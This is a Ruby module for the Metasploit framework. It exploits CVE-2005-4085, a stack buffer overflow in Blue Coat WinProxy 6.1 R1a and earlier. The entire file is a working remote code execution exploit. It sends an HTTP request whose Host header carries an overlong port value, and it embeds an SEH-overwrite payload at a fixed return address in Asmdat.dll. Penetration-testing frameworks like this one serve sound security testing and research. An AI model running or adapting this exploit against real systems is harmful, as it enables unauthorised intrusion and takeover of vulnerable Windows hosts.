##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  HttpFingerprint = { :method => 'HEAD', :pattern => [ /BlueCoat/ ] }

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Blue Coat WinProxy Host Header Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow in the Blue Coat Systems WinProxy
        service by sending a long port value for the Host header in a HTTP
        request.
      },
      'Author'         => 'MC',
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2005-4085'],
          ['OSVDB', '22238'],
          ['BID', '16147'],
          ['URL', 'http://www.bluecoat.com/support/knowledge/advisory_host_header_stack_overflow.html'],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'Space'    => 600,
          'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'WinProxy <= 6.1 R1a Universal', { 'Ret' => 0x6020ba04 } ], # Asmdat.dll
        ],
      'Privileged'     => true,
      'DisclosureDate' => '2005-01-05',
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(80)
      ])

  end

  def exploit
    connect

    print_status("Trying target #{target.name}...")

    sploit  = "GET / HTTP/1.1" + "\r\n"
    sploit += "Host: 127.0.0.1:"
    sploit += rand_text_english(31, payload_badchars)
    seh  = generate_seh_payload(target.ret)
    sploit[23, seh.length] = seh
    sploit += "\r\n\r\n"

    sock.put(sploit)
    sock.get_once(-1, 3)

    handler
    disconnect
  end
end
